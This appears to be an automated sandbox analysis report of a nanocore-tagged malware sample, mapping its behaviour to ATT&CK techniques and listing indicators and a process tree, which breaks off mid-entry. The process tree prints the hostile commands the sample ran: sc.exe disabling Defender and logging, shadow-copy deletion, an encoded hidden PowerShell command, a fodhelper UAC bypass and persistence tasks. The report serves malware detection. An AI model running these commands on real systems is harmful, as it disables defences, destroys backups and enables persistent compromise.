nanocore | ebc519b2eaf80cc51c35679c0f16800ea8d7bc0b41a533b2a45fe4884433bb25

Windows Service

Disable or Modify Tools

T1562.001

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	jbbk.in_nano.exe

Modifies security service 2 TTPs 1 IoCs

Modify Registry

Windows Service

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wscsvc\Start = "4"	jbbk.in_nano.exe

Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047
Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
436	powershell.exe

Disables RegEdit via registry modification 1 IoCs

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1"	jbbk.in_nano.exe

Disables Task Manager via registry modification
defense_evasion

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	jbbk.in_nano.exe

Event Triggered Execution: Image File Execution Options Injection 1 TTPs 6 IoCs

persistence

Image File Execution Options Injection

T1546.012

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe	jbbk.in_nano.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\jbbk.in_nano.exe"	jbbk.in_nano.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe	jbbk.in_nano.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\jbbk.in_nano.exe"	jbbk.in_nano.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe	jbbk.in_nano.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\jbbk.in_nano.exe"	jbbk.in_nano.exe

Modifies Windows Firewall 2 TTPs 1 IoCs

Windows Service

Disable or Modify System Firewall

T1562.004

pid	Process
1868	netsh.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

persistence privilege_escalation

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000\Control Panel\International\Geo\Nation	jbbk.in_nano.exe

Creates a file in the Startup directory 1 TTPs 3 IoCs

A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

Registry Run Keys / Startup Folder

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SysUpdate.exe	jbbk.in_nano.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SysUpdate.exe	jbbk.in_nano.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\system.bat	jbbk.in_nano.exe

Disables service(s) 3 TTPs
defense_evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Adds Run key to start application 2 TTPs 3 IoCs

persistence

Registry Run Keys / Startup Folder

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\Malware = "C:\\Users\\Admin\\AppData\\Local\\Temp\\jbbk.in_nano.exe"	jbbk.in_nano.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\jbbk.in_nano.exe"	jbbk.in_nano.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\jbbk.in_nano.exe"	jbbk.in_nano.exe

Creates a new local user account 1 TTPs 2 IoCs

Uses net.exe to create a new local user account, often for persistence or a backdoor account.

persistence

Local Account

T1136.001

pid	Process
2288	net1.exe
1000	net.exe

Discovers running processes 1 TTPs 1 IoCs

Running process information can be used to identify security tools or plan follow-on actions.

discovery

Process Discovery

T1057

pid	Process
4496	tasklist.exe

Drops file in System32 directory 6 IoCs

description	ioc	Process
File created	C:\Windows\system32\svchost.exe	jbbk.in_nano.exe
File created	C:\Windows\system32\sysupdate.exe	jbbk.in_nano.exe
File opened for modification	C:\Windows\system32\sysupdate.exe	jbbk.in_nano.exe
File opened for modification	C:\Windows\system32\kernel32.dll	jbbk.in_nano.exe
File opened for modification	C:\Windows\system32\ntdll.dll	jbbk.in_nano.exe
File opened for modification	C:\Windows\system32\user32.dll	jbbk.in_nano.exe

Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs

execution

Visual Basic

T1059.005

pid	Process
4320	wscript.exe

Sets desktop wallpaper using registry 2 TTPs 2 IoCs

ransomware

Defacement

T1491

Modify Registry

persistence privilege_escalation

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\SysUpdate\\wall.bmp"	jbbk.in_nano.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\wallpaper.bmp"	jbbk.in_nano.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs

pid	Process
3744	jbbk.in_nano.exe

Launches sc.exe 28 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
2288	sc.exe
4128	sc.exe
4884	sc.exe
1752	sc.exe
4980	sc.exe
3708	sc.exe
3572	sc.exe
3332	sc.exe
4628	sc.exe
5088	sc.exe
1944	sc.exe
4832	sc.exe
3472	sc.exe
3340	sc.exe
1500	sc.exe
440	sc.exe
1776	sc.exe
3380	sc.exe
3260	sc.exe
5028	sc.exe
1140	sc.exe
1512	sc.exe
4848	sc.exe
216	sc.exe
3728	sc.exe
2836	sc.exe
4736	sc.exe
5072	sc.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 6 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

Executes a command shell one-liner 1 TTPs 6 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4712	cmd.exe
4268	cmd.exe
4120	cmd.exe
2472	cmd.exe
3248	cmd.exe
2464	cmd.exe

Permission Groups Discovery: Local Groups 1 TTPs
Attempt to find local system groups and permission settings.
discovery

Local Groups
T1069.001

System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 1 IoCs

Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

discovery

Wi-Fi Discovery

T1016.002

pid	Process
1168	netsh.exe

Gathers network information 2 TTPs 2 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

Command and Scripting Interpreter

T1059

pid	Process
3168	ipconfig.exe
3816	NETSTAT.EXE

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

pid	Process
1728	systeminfo.exe

Interacts with shadow copies 3 TTPs 2 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Direct Volume Access

T1006

pid	Process
2956	vssadmin.exe
4288	vssadmin.exe

Modifies Control Panel 1 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000\Control Panel\Desktop\WallpaperStyle = "2"	jbbk.in_nano.exe

Modifies registry class 16 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet	jbbk.in_nano.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open	jbbk.in_nano.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command\ = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\jbbk.in_nano.exe\" \"%1\""	jbbk.in_nano.exe
Key deleted	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000_Classes\ms-settings\shell	jbbk.in_nano.exe
Key deleted	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000_Classes\ms-settings	jbbk.in_nano.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command	jbbk.in_nano.exe
Key deleted	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000_Classes\ms-settings\shell\open\command	jbbk.in_nano.exe
Key created	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000_Classes\ms-settings\shell\open\command	jbbk.in_nano.exe
Key created	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000_Classes\ms-settings	jbbk.in_nano.exe
Key created	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000_Classes\ms-settings\shell	jbbk.in_nano.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000_Classes\ms-settings\shell\open\command\DelegateExecute	jbbk.in_nano.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell	jbbk.in_nano.exe
Key deleted	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000_Classes\ms-settings\shell\open	jbbk.in_nano.exe
Key created	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000_Classes\ms-settings\shell\open	jbbk.in_nano.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000_Classes\ms-settings\shell\open\command\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\jbbk.in_nano.exe"	jbbk.in_nano.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000_Classes\.pdf\ = "PDFBotnet"	jbbk.in_nano.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
3804	schtasks.exe
2344	schtasks.exe
2108	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
436	powershell.exe
436	powershell.exe
436	powershell.exe
3744	jbbk.in_nano.exe
3744	jbbk.in_nano.exe
3744	jbbk.in_nano.exe
3744	jbbk.in_nano.exe
3744	jbbk.in_nano.exe
3744	jbbk.in_nano.exe
3744	jbbk.in_nano.exe
3744	jbbk.in_nano.exe
3744	jbbk.in_nano.exe
3744	jbbk.in_nano.exe
3744	jbbk.in_nano.exe
3744	jbbk.in_nano.exe
3744	jbbk.in_nano.exe
3744	jbbk.in_nano.exe
3744	jbbk.in_nano.exe
3744	jbbk.in_nano.exe
3744	jbbk.in_nano.exe
3744	jbbk.in_nano.exe
3744	jbbk.in_nano.exe
3744	jbbk.in_nano.exe
3744	jbbk.in_nano.exe
3744	jbbk.in_nano.exe
3744	jbbk.in_nano.exe
3744	jbbk.in_nano.exe
3744	jbbk.in_nano.exe
3744	jbbk.in_nano.exe
3744	jbbk.in_nano.exe
3744	jbbk.in_nano.exe
3744	jbbk.in_nano.exe
3744	jbbk.in_nano.exe
3744	jbbk.in_nano.exe
3744	jbbk.in_nano.exe
3744	jbbk.in_nano.exe
3744	jbbk.in_nano.exe
3744	jbbk.in_nano.exe
3744	jbbk.in_nano.exe
3744	jbbk.in_nano.exe
3744	jbbk.in_nano.exe
3744	jbbk.in_nano.exe
3744	jbbk.in_nano.exe
3744	jbbk.in_nano.exe
3744	jbbk.in_nano.exe
3744	jbbk.in_nano.exe
3744	jbbk.in_nano.exe
3744	jbbk.in_nano.exe
3744	jbbk.in_nano.exe
3744	jbbk.in_nano.exe
3744	jbbk.in_nano.exe
3744	jbbk.in_nano.exe
3744	jbbk.in_nano.exe
3744	jbbk.in_nano.exe
3744	jbbk.in_nano.exe
3744	jbbk.in_nano.exe
3744	jbbk.in_nano.exe
3744	jbbk.in_nano.exe
3744	jbbk.in_nano.exe
3744	jbbk.in_nano.exe
3744	jbbk.in_nano.exe
3744	jbbk.in_nano.exe
3744	jbbk.in_nano.exe
3744	jbbk.in_nano.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
3744	jbbk.in_nano.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	436	powershell.exe
Token: SeDebugPrivilege	3744	jbbk.in_nano.exe
Token: SeIncreaseQuotaPrivilege	1092	WMIC.exe
Token: SeSecurityPrivilege	1092	WMIC.exe
Token: SeTakeOwnershipPrivilege	1092	WMIC.exe
Token: SeLoadDriverPrivilege	1092	WMIC.exe
Token: SeSystemProfilePrivilege	1092	WMIC.exe
Token: SeSystemtimePrivilege	1092	WMIC.exe
Token: SeProfSingleProcessPrivilege	1092	WMIC.exe
Token: SeIncBasePriorityPrivilege	1092	WMIC.exe
Token: SeCreatePagefilePrivilege	1092	WMIC.exe
Token: SeBackupPrivilege	1092	WMIC.exe
Token: SeRestorePrivilege	1092	WMIC.exe
Token: SeShutdownPrivilege	1092	WMIC.exe
Token: SeDebugPrivilege	1092	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1092	WMIC.exe
Token: SeRemoteShutdownPrivilege	1092	WMIC.exe
Token: SeUndockPrivilege	1092	WMIC.exe
Token: SeManageVolumePrivilege	1092	WMIC.exe
Token: 33	1092	WMIC.exe
Token: 34	1092	WMIC.exe
Token: 35	1092	WMIC.exe
Token: 36	1092	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1092	WMIC.exe
Token: SeSecurityPrivilege	1092	WMIC.exe
Token: SeTakeOwnershipPrivilege	1092	WMIC.exe
Token: SeLoadDriverPrivilege	1092	WMIC.exe
Token: SeSystemProfilePrivilege	1092	WMIC.exe
Token: SeSystemtimePrivilege	1092	WMIC.exe
Token: SeProfSingleProcessPrivilege	1092	WMIC.exe
Token: SeIncBasePriorityPrivilege	1092	WMIC.exe
Token: SeCreatePagefilePrivilege	1092	WMIC.exe
Token: SeBackupPrivilege	1092	WMIC.exe
Token: SeRestorePrivilege	1092	WMIC.exe
Token: SeShutdownPrivilege	1092	WMIC.exe
Token: SeDebugPrivilege	1092	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1092	WMIC.exe
Token: SeRemoteShutdownPrivilege	1092	WMIC.exe
Token: SeUndockPrivilege	1092	WMIC.exe
Token: SeManageVolumePrivilege	1092	WMIC.exe
Token: 33	1092	WMIC.exe
Token: 34	1092	WMIC.exe
Token: 35	1092	WMIC.exe
Token: 36	1092	WMIC.exe
Token: SeIncBasePriorityPrivilege	3744	jbbk.in_nano.exe
Token: SeDebugPrivilege	4584	whoami.exe
Token: SeDebugPrivilege	3816	NETSTAT.EXE
Token: SeDebugPrivilege	4496	tasklist.exe
Token: SeIncreaseQuotaPrivilege	2204	WMIC.exe
Token: SeSecurityPrivilege	2204	WMIC.exe
Token: SeTakeOwnershipPrivilege	2204	WMIC.exe
Token: SeLoadDriverPrivilege	2204	WMIC.exe
Token: SeSystemProfilePrivilege	2204	WMIC.exe
Token: SeSystemtimePrivilege	2204	WMIC.exe
Token: SeProfSingleProcessPrivilege	2204	WMIC.exe
Token: SeIncBasePriorityPrivilege	2204	WMIC.exe
Token: SeCreatePagefilePrivilege	2204	WMIC.exe
Token: SeBackupPrivilege	2204	WMIC.exe
Token: SeRestorePrivilege	2204	WMIC.exe
Token: SeShutdownPrivilege	2204	WMIC.exe
Token: SeDebugPrivilege	2204	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2204	WMIC.exe
Token: SeRemoteShutdownPrivilege	2204	WMIC.exe
Token: SeUndockPrivilege	2204	WMIC.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
3744	jbbk.in_nano.exe

Suspicious use of WriteProcessMemory 60 IoCs

description	pid	Process	procid_target
PID 3744 wrote to memory of 436	3744	jbbk.in_nano.exe	86
PID 3744 wrote to memory of 5072	3744	jbbk.in_nano.exe	87
PID 3744 wrote to memory of 2288	3744	jbbk.in_nano.exe	197
PID 3744 wrote to memory of 3472	3744	jbbk.in_nano.exe	91
PID 3744 wrote to memory of 3340	3744	jbbk.in_nano.exe	93
PID 3744 wrote to memory of 1140	3744	jbbk.in_nano.exe	95
PID 3744 wrote to memory of 1512	3744	jbbk.in_nano.exe	98
PID 3744 wrote to memory of 4980	3744	jbbk.in_nano.exe	100
PID 3744 wrote to memory of 3708	3744	jbbk.in_nano.exe	102
PID 3744 wrote to memory of 1500	3744	jbbk.in_nano.exe	104
PID 3744 wrote to memory of 440	3744	jbbk.in_nano.exe	196
PID 3744 wrote to memory of 3572	3744	jbbk.in_nano.exe	108
PID 3744 wrote to memory of 4848	3744	jbbk.in_nano.exe	110
PID 3744 wrote to memory of 3332	3744	jbbk.in_nano.exe	112
PID 3744 wrote to memory of 4128	3744	jbbk.in_nano.exe	152
PID 3744 wrote to memory of 4628	3744	jbbk.in_nano.exe	116
PID 3744 wrote to memory of 1776	3744	jbbk.in_nano.exe	118
PID 3744 wrote to memory of 3380	3744	jbbk.in_nano.exe	120
PID 3744 wrote to memory of 216	3744	jbbk.in_nano.exe	123
PID 3744 wrote to memory of 5088	3744	jbbk.in_nano.exe	125
PID 3744 wrote to memory of 3728	3744	jbbk.in_nano.exe	127
PID 3744 wrote to memory of 2836	3744	jbbk.in_nano.exe	129
PID 3744 wrote to memory of 3260	3744	jbbk.in_nano.exe	131
PID 3744 wrote to memory of 4884	3744	jbbk.in_nano.exe	133
PID 3744 wrote to memory of 1944	3744	jbbk.in_nano.exe	135
PID 3744 wrote to memory of 2500	3744	jbbk.in_nano.exe	137
PID 3744 wrote to memory of 4736	3744	jbbk.in_nano.exe	138
PID 3744 wrote to memory of 4832	3744	jbbk.in_nano.exe	140
PID 3744 wrote to memory of 2956	3744	jbbk.in_nano.exe	142
PID 3744 wrote to memory of 1092	3744	jbbk.in_nano.exe	144
PID 3744 wrote to memory of 3804	3744	jbbk.in_nano.exe	146
PID 2500 wrote to memory of 5012	2500	fodhelper.exe	148
PID 3744 wrote to memory of 2344	3744	jbbk.in_nano.exe	149
PID 3744 wrote to memory of 4712	3744	jbbk.in_nano.exe	155
PID 3744 wrote to memory of 2464	3744	jbbk.in_nano.exe	157
PID 3744 wrote to memory of 3248	3744	jbbk.in_nano.exe	158
PID 3744 wrote to memory of 2472	3744	jbbk.in_nano.exe	159
PID 3744 wrote to memory of 4120	3744	jbbk.in_nano.exe	160
PID 3744 wrote to memory of 4268	3744	jbbk.in_nano.exe	161
PID 3744 wrote to memory of 4060	3744	jbbk.in_nano.exe	163
PID 3744 wrote to memory of 2108	3744	jbbk.in_nano.exe	168
PID 3744 wrote to memory of 4320	3744	jbbk.in_nano.exe	169
PID 2472 wrote to memory of 4584	2472	cmd.exe	172
PID 4120 wrote to memory of 3168	4120	cmd.exe	173
PID 4712 wrote to memory of 4288	4712	cmd.exe	174
PID 4268 wrote to memory of 3816	4268	cmd.exe	175
PID 2464 wrote to memory of 1728	2464	cmd.exe	176
PID 3248 wrote to memory of 4496	3248	cmd.exe	177
PID 4712 wrote to memory of 2204	4712	cmd.exe	178
PID 3744 wrote to memory of 3936	3744	jbbk.in_nano.exe	179
PID 3744 wrote to memory of 1868	3744	jbbk.in_nano.exe	181
PID 3744 wrote to memory of 5028	3744	jbbk.in_nano.exe	183
PID 3744 wrote to memory of 1752	3744	jbbk.in_nano.exe	184
PID 3744 wrote to memory of 5052	3744	jbbk.in_nano.exe	185
PID 3744 wrote to memory of 1168	3744	jbbk.in_nano.exe	186
PID 3936 wrote to memory of 3124	3936	net.exe	190
PID 3744 wrote to memory of 1000	3744	jbbk.in_nano.exe	192
PID 3744 wrote to memory of 2228	3744	jbbk.in_nano.exe	194
PID 2228 wrote to memory of 440	2228	net.exe	196
PID 1000 wrote to memory of 2288	1000	net.exe	197

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\jbbk.in_nano.exe
"C:\Users\Admin\AppData\Local\Temp\jbbk.in_nano.exe"
1⤵
- Modifies Windows Defender DisableAntiSpyware settings
- Modifies security service
- Disables RegEdit via registry modification
- Drops file in Drivers directory
- Event Triggered Execution: Image File Execution Options Injection
- Checks computer location settings
- Creates a file in the Startup directory
- Adds Run key to start application
- Drops file in System32 directory
- Sets desktop wallpaper using registry
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3744
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACIAQwA6AFwAUAByAG8AZwByAGEAbQBEAGEAdABhAFwAUwB5AHMAVQBwAGQAYQB0AGUAIgAgAC0ARgBvAHIAYwBlAA==
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:436
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wscsvc
  2⤵
  - Launches sc.exe
  PID:5072
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config wscsvc start= disabled
  2⤵
  - Launches sc.exe
  PID:2288
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop SecurityHealthService
  2⤵
  - Launches sc.exe
  PID:3472
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config SecurityHealthService start= disabled
  2⤵
  - Launches sc.exe
  PID:3340
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop WinDefend
  2⤵
  - Launches sc.exe
  PID:1140
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config WinDefend start= disabled
  2⤵
  - Launches sc.exe
  PID:1512
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop MsMpSvc
  2⤵
  - Launches sc.exe
  PID:4980
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config MsMpSvc start= disabled
  2⤵
  - Launches sc.exe
  PID:3708
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wuauserv
  2⤵
  - Launches sc.exe
  PID:1500
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config wuauserv start= disabled
  2⤵
  - Launches sc.exe
  PID:440
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop bits
  2⤵
  - Launches sc.exe
  PID:3572
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config bits start= disabled
  2⤵
  - Launches sc.exe
  PID:4848
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop vss
  2⤵
  - Launches sc.exe
  PID:3332
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config vss start= disabled
  2⤵
  - Launches sc.exe
  PID:4128
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop swprv
  2⤵
  - Launches sc.exe
  PID:4628
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config swprv start= disabled
  2⤵
  - Launches sc.exe
  PID:1776
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop EventLog
  2⤵
  - Launches sc.exe
  PID:3380
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config EventLog start= disabled
  2⤵
  - Launches sc.exe
  PID:216
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop SysmonLog
  2⤵
  - Launches sc.exe
  PID:5088
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config SysmonLog start= disabled
  2⤵
  - Launches sc.exe
  PID:3728
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop Sysmon
  2⤵
  - Launches sc.exe
  PID:2836
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config Sysmon start= disabled
  2⤵
  - Launches sc.exe
  PID:3260
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop sense
  2⤵
  - Launches sc.exe
  PID:4884
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config sense start= disabled
  2⤵
  - Launches sc.exe
  PID:1944
- C:\Windows\System32\fodhelper.exe
  "C:\Windows\System32\fodhelper.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2500
- - C:\Users\Admin\AppData\Local\Temp\jbbk.in_nano.exe
    "C:\Users\Admin\AppData\Local\Temp\jbbk.in_nano.exe"
    3⤵
    PID:5012
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wscsvc
  2⤵
  - Launches sc.exe
  PID:4736
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wuauserv
  2⤵
  - Launches sc.exe
  PID:4832
- C:\Windows\System32\vssadmin.exe
  "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:2956
- C:\Windows\System32\wbem\WMIC.exe
  "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1092
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\jbbk.in_nano.exe" /sc onlogon /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:3804
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateBackup" /tr "C:\Users\Admin\AppData\Local\Temp\jbbk.in_nano.exe" /sc minute /mo 30 /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:2344
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\del.bat" "
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4712
- - C:\Windows\system32\vssadmin.exe
    vssadmin delete shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:4288
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic shadowcopy delete
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:2204
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c systeminfo > "C:\ProgramData\SysUpdate\Logs\sysinfo.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2464
- - C:\Windows\system32\systeminfo.exe
    systeminfo
    3⤵
    - Gathers system information
    PID:1728
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c tasklist > "C:\ProgramData\SysUpdate\Logs\tasklist.txt"
